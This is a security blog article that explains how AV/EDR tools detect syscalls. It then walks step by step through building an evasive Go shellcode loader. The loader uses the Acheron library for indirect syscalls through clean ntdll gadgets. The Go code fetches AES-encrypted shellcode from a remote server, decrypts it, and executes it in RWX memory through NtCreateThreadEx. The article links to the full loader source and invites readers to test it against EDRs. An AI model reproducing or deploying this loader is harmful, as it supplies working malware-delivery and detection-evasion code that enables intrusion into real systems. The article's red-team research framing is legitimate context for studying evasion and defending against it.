VaultSecLab

VaultSec Lab

Detection begins where your creativity ends.

Back to articles

Golang in Disguise: Building Evasive Loader In Go

Golang in Disguise: Building Evasive Loader In Go

In the ever-evolving landscape of AV/EDR (Antivirus/Endpoint Detection and Response) defense mechanisms, traditional syscall execution has become increasingly vulnerable to detection. These tools utilize user-mode hooks and instrumentation callbacks to flag anomalous behavior, such as syscalls that don't return to ntdll.dll. This blog delves into how to create evasive shellcode loader in GO, fetching and decrypting AES-encrypted shellcode from a server and executing it stealthily using indirect syscalls.

EDR Evasion
Samad Bloch
Samad Bloch Writer
Evasion

Instrumentation Callbacks

Instrumentation callbacks are another layer of monitoring, primarily implemented via kernel-mode features like ETW (Event Tracing for Windows).

  • How it works:
    Callbacks allow the EDR to track system events, including syscalls, in real-time. By analyzing the flow of these events, the EDR can flag anomalies.

  • Detection mechanism:
    If a syscall appears to originate from a suspicious memory region (e.g., injected code or a custom memory page), or if the sequence of syscalls deviates from typical patterns, it may be flagged.

Behavioral Monitoring

  • How it works:
    The EDR monitors the sequence and context of syscalls to detect deviations from normal application behavior. For example:

    • Does the application frequently access memory regions marked as executable but not backed by a legitimate module?
    • Are there syscalls being made that bypass ntdll.dll?
  • Detection mechanism:
    When syscalls don't follow the standard user-mode flow (from application -> ntdll.dll -> kernel), this unusual behavior is flagged as suspicious.

Why Focus on ntdll.dll?

ntdll.dll acts as the bridge between user-mode applications and the kernel. By ensuring syscalls originate and return through ntdll.dll, EDRs can maintain a "choke point" for monitoring:

  • Anomalous return addresses:
    If a syscall's return address isn't within the expected range for ntdll.dll, it suggests tampering or evasion attempts.

  • Bypassing user-mode hooks:
    Some attackers try to bypass ntdll.dll entirely by using direct syscalls or inline assembly. EDRs counteract this by scrutinizing the execution flow at the kernel level.

Fix ?

1) Identifying Unhooked Syscall Gadgets

A syscall gadget is a small sequence of instructions in ntdll.dll that includes the syscall and ret instructions. These gadgets are legitimate parts of ntdll.dll and exist in unmodified (clean) memory regions. We can locate these gadgets by:

  • Enumerating memory regions of ntdll.dll loaded into the process.
  • Searching for clean instructions matching the signature of a syscall; ret sequence. For example:
    syscall
    ret
  • Using tools or custom code to parse ntdll.dll in memory to identify unhooked sections.

These gadgets remain unhooked because:

  • Hooks target API entry points (e.g., NtAllocateVirtualMemory), not every syscall instruction.
  • The EDRs (Except Sentinel) focuses on monitoring high-level APIs rather than raw instruction sequences.

Example

mov r10, rcx               ; Syscall convention requires R10 for certain arguments
mov eax, 0x18              ; Syscall number for NtAllocateVirtualMemory

; Jump to clean syscall gadget
jmp [Address of syscall; ret in clean ntdll.dll]

The technique leverages legitimate code paths in ntdll.dll without injecting new or suspicious instructions, reducing detection risk.

What is Acheron?

Acheron, inspired by tools like SysWhisper3, FreshyCalls, and RecycledGate, provides the following features:

  1. PEB Traversal
    The Process Environment Block (PEB) is traversed to locate ntdll.dll's in-memory base address. This bypasses reliance on API calls like GetModuleHandle, which are often hooked by EDRs.

  2. Export Directory Parsing
    Once ntdll.dll's base address is identified, Acheron parses its export directory to locate the addresses of exported functions like ZwAllocateVirtualMemory or ZwCreateThreadEx.

  3. System Service Number Extraction
    Acheron calculates the system service numbers (SSNs) required to execute syscalls, which are stored in the ntdll.dll export table.

  4. Clean Syscall Gadget Enumeration
    To bypass hooked functions, Acheron searches for unhooked syscall; ret instructions in ntdll.dll. These gadgets serve as trampoline points for indirect syscalls.

  5. Proxy Creation
    A proxy instance is created, allowing developers to make indirect or direct syscalls seamlessly in Go.

Below, you can see that we are simply calling NtAllocateVirtualMemory. We haven't implemented proxy calls using Acheron yet.

	status, _, _ := procNtAllocateVirtualMemory.Call(
		uintptr(hProcess),
		uintptr(unsafe.Pointer(&baseAddress)),
		0,
		uintptr(unsafe.Pointer(&regionSize)),
		0x3000, // MEM_COMMIT | MEM_RESERVE
		0x40,   // PAGE_EXECUTE_READWRITE
	)

To make a proxy call and use indirect syscalls with Acheron, we need to define a proxy instance of Acheron. Start by importing github.com/f1zm0/acheron. Then, create Acheron's proxy instance as shown below.

// Create Acheron instance
	ach, err := acheron.New()
	if err != nil {
		fmt.Printf("Error initializing Acheron: %v\n", err)
		return
	}

Now, to call the NtAPI indirectly via Acheron's proxy calls, you need to define them as shown below.

s1 := ach.HashString("NtAllocateVirtualMemory")
	status, err := ach.Syscall(
		s1,
		hProcess,
		uintptr(unsafe.Pointer(&baseAddress)),
		0,
		uintptr(unsafe.Pointer(&regionSize)),
		0x3000, // MEM_COMMIT | MEM_RESERVE
		0x40,   // PAGE_EXECUTE_READWRITE (for writing and execution)
	)

Using this, our API call will be redirected to Acheron, and Acheron will perform the actions as described earlier. Now, let's begin building a loader.

Building the Loader

1. Fetching the Encrypted Shellcode

Encrypted shellcode is downloaded from a remote server using the fetchShellcode function. This avoids embedding the shellcode directly in the binary, reducing the high entropy.

func fetchShellcode(url string) ([]byte, error) {
    resp, err := http.Get(url)
    if err != nil {
        return nil, fmt.Errorf("failed to fetch shellcode: %v", err)
    }
    defer resp.Body.Close()

    buf := new(bytes.Buffer)
    if _, err := io.Copy(buf, resp.Body); err != nil {
        return nil, fmt.Errorf("failed to read shellcode: %v", err)
    }

    return buf.Bytes(), nil
}

2. Decrypting the Shellcode

We use AES-CBC encryption for securing shellcode. Decrypting it ensures the loader is dynamic and evades signature-based detections.

func decryptShellcode(encrypted []byte, key []byte, iv []byte) ([]byte, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, fmt.Errorf("failed to create cipher: %v", err)
    }

    mode := cipher.NewCBCDecrypter(block, iv)
    decrypted := make([]byte, len(encrypted))
    mode.CryptBlocks(decrypted, encrypted)

    padding := int(decrypted[len(decrypted)-1])
    return decrypted[:len(decrypted)-padding], nil
}

3. Executing the Shellcode

Using Acheron, the shellcode is executed via indirect syscalls. Here's how the main functions are implemented:

  • NtAllocateVirtualMemory: Allocates memory in the current process.
  • NtWriteVirtualMemory: Writes decrypted shellcode to the allocated memory.
  • NtProtectVirtualMemory: Sets the memory region as executable.
  • NtCreateThreadEx: Creates a new thread to execute the shellcode.
func executeShellcode(ach *acheron.Acheron, shellcode []byte) error {
    hProcess := uintptr(0xffffffffffffffff) // Current process handle

    var baseAddress uintptr
    regionSize := uintptr(len(shellcode))
    status, err := ach.Syscall(
        ach.HashString("NtAllocateVirtualMemory"),
        hProcess,
        uintptr(unsafe.Pointer(&baseAddress)),
        0,
        uintptr(unsafe.Pointer(&regionSize)),
        0x3000,
        0x40,
    )
    if status != 0 || err != nil {
        return fmt.Errorf("NtAllocateVirtualMemory failed: 0x%x", status)
    }

    status, err = ach.Syscall(
        ach.HashString("NtWriteVirtualMemory"),
        hProcess,
        baseAddress,
        uintptr(unsafe.Pointer(&shellcode[0])),
        uintptr(len(shellcode)),
        0,
    )
    if status != 0 || err != nil {
        return fmt.Errorf("NtWriteVirtualMemory failed: 0x%x", status)
    }

    status, err = ach.Syscall(
        ach.HashString("NtCreateThreadEx"),
        uintptr(unsafe.Pointer(&hThread)),
        0x1FFFFF,
        0,
        hProcess,
        baseAddress,
        0,
        0,
        0,
        0,
        0,
    )
    return err
}

Now your evasive loader in Go is ready for action. Let's test it against some EDRs. You'll find a link to the loader at the end of the blog. Please check it out and consider improving it further.

Full Code Link:

github.com/ZwNagi/MistLdr

Credits & Refs:

github.com/f1zm0/acheron